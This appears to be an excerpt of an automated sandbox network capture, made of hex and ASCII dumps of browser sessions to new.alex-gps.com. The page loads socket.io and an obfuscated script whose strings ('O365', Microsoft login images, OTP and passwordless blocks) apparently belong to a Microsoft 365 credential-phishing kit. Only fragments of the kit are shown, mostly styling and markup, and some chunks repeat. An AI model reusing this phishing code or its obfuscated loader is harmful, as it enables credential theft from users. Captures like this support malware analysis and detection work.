:\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-top:\x20-2px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x20-10px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x208px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x208px;\x0a\x20\x20\x20\x20\x20\x20\x20\
2024-10-23 22:26:46 UTC	8000	IN	Data Raw: 67 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 75 74 6c 69 6e 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 64 79 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c Data Ascii: g:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-style:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20outline:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20body\x20{\x0a\x20\x20\
2024-10-23 22:26:46 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6f 74 70 45 72 72 6f 72 32 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 23 65 38 31 31 32 33 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 0\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.otpError2\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#e81123;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\
2024-10-23 22:26:46 UTC	8000	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 61 62 73 6f 6c 75 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 68 65 61 64 65 72 5c 78 32 30 Data Ascii: \x20\x20\x20position:\x20absolute;\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.header\x20
2024-10-23 22:26:46 UTC	8000	IN	Data Raw: 72 6f 6c 6c 65 72 5c 78 32 30 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 3a 61 66 74 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 35 36 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 31 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 40 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 6c 64 73 2d 72 6f 6c 6c 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: roller\x20div:nth-child(8):after\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x2056px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20left:\x2012px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20@keyframes\x20lds-roller\x20{\x0a\x20\x20\x20\x20\x20\x20\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49714	18.245.31.89	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:46 UTC	553	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" Origin: https://new.alex-gps.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:46 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 7e3b2ebcc561cb84cf59a80a76eb7e28.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: RpQ7ihQf1_jVoHF76Y4WZfTxRefL3CjUANlhNTwp-xCzoNtZ0xVKqQ== Age: 7429797
2024-10-23 22:26:46 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-23 22:26:46 UTC	16384	IN	Data Raw: 66 20 64 6f 63 75 6d 65 6e 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 74 74 61 63 68 45 76 65 6e 74 29 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 61 65 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 6e 70 61 67 65 68 69 64 65 22 69 6e 20 49 3f 22 70 61 67 65 68 69 64 65 22 3a 22 75 6e 6c 6f 61 64 22 2c 61 65 2c 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 61 65 28 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 73 65 2e 72 65 71 75 65 73 74 73 29 73 65 2e 72 65 71 75 65 73 74 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 73 65 2e 72 65 71 75 Data Ascii: f document)if("function"==typeof attachEvent)attachEvent("onunload",ae);else if("function"==typeof addEventListener){addEventListener("onpagehide"in I?"pagehide":"unload",ae,!1)}function ae(){for(var e in se.requests)se.requests.hasOwnProperty(e)&&se.requ
2024-10-23 22:26:46 UTC	16384	IN	Data Raw: 74 61 20 77 68 65 6e 20 72 65 63 6f 6e 73 74 72 75 63 74 69 6e 67 20 61 20 70 61 63 6b 65 74 22 29 3b 76 61 72 20 6e 3d 28 74 3d 74 68 69 73 2e 64 65 63 6f 64 65 53 74 72 69 6e 67 28 65 29 29 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 3b 6e 7c 7c 74 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 3f 28 74 2e 74 79 70 65 3d 6e 3f 42 65 2e 45 56 45 4e 54 3a 42 65 2e 41 43 4b 2c 74 68 69 73 2e 72 65 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 65 77 20 50 65 28 74 29 2c 30 3d 3d 3d 74 2e 61 74 74 61 63 68 6d 65 6e 74 73 26 26 70 28 73 28 69 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 65 6d 69 74 52 65 73 65 72 76 65 64 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 22 64 65 63 6f 64 65 64 22 2c 74 29 29 3a 70 28 73 28 69 Data Ascii: ta when reconstructing a packet");var n=(t=this.decodeString(e)).type===Be.BINARY_EVENT;n\|\|t.type===Be.BINARY_ACK?(t.type=n?Be.EVENT:Be.ACK,this.reconstructor=new Pe(t),0===t.attachments&&p(s(i.prototype),"emitReserved",this).call(this,"decoded",t)):p(s(i
2024-10-23 22:26:46 UTC	841	IN	Data Raw: 26 28 65 3d 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6e 2e 68 6f 73 74 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 22 2f 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 30 29 26 26 28 65 3d 22 2f 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 31 29 3f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 65 3a 6e 2e 68 6f 73 74 2b 65 29 2c 2f 5e 28 68 74 74 70 73 3f 7c 77 73 73 3f 29 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 65 29 7c 7c 28 65 3d 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 65 3a 22 68 74 74 70 73 3a 2f 2f 22 2b 65 29 2c 72 3d 76 65 28 65 29 29 2c 72 2e 70 6f 72 74 7c 7c 28 2f 5e 28 68 74 74 70 7c 77 73 29 24 2f 2e 74 65 73 74 28 72 2e 70 72 6f 74 6f 63 6f 6c 29 3f 72 2e 70 6f 72 74 3d 22 38 30 22 3a 2f 5e 28 68 74 Data Ascii: &(e=n.protocol+"//"+n.host),"string"==typeof e&&("/"===e.charAt(0)&&(e="/"===e.charAt(1)?n.protocol+e:n.host+e),/^(https?\|wss?):\/\//.test(e)\|\|(e=void 0!==n?n.protocol+"//"+e:"https://"+e),r=ve(e)),r.port\|\|(/^(http\|ws)$/.test(r.protocol)?r.port="80":/^(ht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49716	201.102.105.236	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	360	OUT	GET /m/jsv.js HTTP/1.1 Host: new.alex-gps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:47 UTC	282	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:47 GMT Server: Apache/2.4.59 (Debian) Last-Modified: Tue, 08 Oct 2024 19:11:56 GMT ETag: "1f745-623fbe92bf700" Accept-Ranges: bytes Content-Length: 128837 Vary: Accept-Encoding Connection: close Content-Type: text/javascript
2024-10-23 22:26:47 UTC	7910	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 62 32 37 36 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 5f 30 78 35 65 64 39 34 34 20 3d 20 5b 27 68 72 65 66 27 2c 20 27 2e 70 68 6f 6e 65 6f 74 70 54 65 78 74 27 2c 20 27 72 65 61 64 79 53 74 61 74 65 27 2c 20 27 23 70 6c 61 79 6d 65 5f 62 69 67 27 2c 20 27 40 69 6f 6e 6f 73 2e 27 2c 20 27 23 70 6c 61 79 6d 65 27 2c 20 27 72 65 73 69 7a 65 27 2c 20 27 73 32 63 5f 72 65 73 74 61 72 74 27 2c 20 27 2e 6c 6f 61 64 65 72 78 42 6c 6f 63 6b 31 31 27 2c 20 27 73 32 63 27 2c 20 27 63 6f 6d 70 6c 65 74 65 27 2c 20 27 4f 33 36 35 27 2c 20 27 75 72 6c 28 5c 78 32 37 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 62 61 63 Data Ascii: function _0xb276() { const _0x5ed944 = ['href', '.phoneotpText', 'readyState', '#playme_big', '@ionos.', '#playme', 'resize', 's2c_restart', '.loaderxBlock11', 's2c', 'complete', 'O365', 'url(\x27https://aadcdn.msauth.net/shared/1.0/content/images/bac
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 32 30 66 61 2d 70 6c 61 79 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 2d 73 6f 6c 69 64 5c 78 32 30 66 61 2d 72 6f 74 61 74 65 2d 6c 65 66 74 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 Data Ascii: 20fa-play\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<i\x20class=\x22fa-solid\x20fa-rotate-left\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<i\x20class=\x22fa
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6e 6f 50 61 73 73 6d 73 61 70 70 42 6c 6f 63 6b 5c 78 32 30 77 33 2d 61 6e 69 6d 61 74 65 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 6d 67 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 4c 6f 67 6f 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 6d 69 63 72 6f 73 6f 66 74 5f Data Ascii: 0\x20<div\x20style=\x22display:\x20none;\x22\x20class=\x22noPassmsappBlock\x20w3-animate-right\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22formLogo\x22\x20src=\x22https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 61 74 61 2d 62 69 6e 64 3d 5c 78 32 32 69 6d 67 53 72 63 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c Data Ascii: ng\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20data-bind=\x22imgSrc\x22\x20src=\x22https://l
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 42 4f 49 4c 45 52 54 45 58 54 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 67 72 61 79 42 6f 78 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 69 6c 65 72 5c 78 32 30 74 65 78 74 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20...\x20BOILERTEXT\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22grayBox\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20boiler\x20text\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20</div>\
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 2d 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 2d 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: :\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-top:\x20-2px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x20-10px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x208px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x208px;\x0a\x20\x20\x20\x20\x20\x20\x20\
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 67 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 75 74 6c 69 6e 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 64 79 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c Data Ascii: g:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-style:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20outline:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20body\x20{\x0a\x20\x20\
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6f 74 70 45 72 72 6f 72 32 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 23 65 38 31 31 32 33 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 0\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.otpError2\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#e81123;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\
2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 61 62 73 6f 6c 75 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 68 65 61 64 65 72 5c 78 32 30 Data Ascii: \x20\x20\x20position:\x20absolute;\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.header\x20
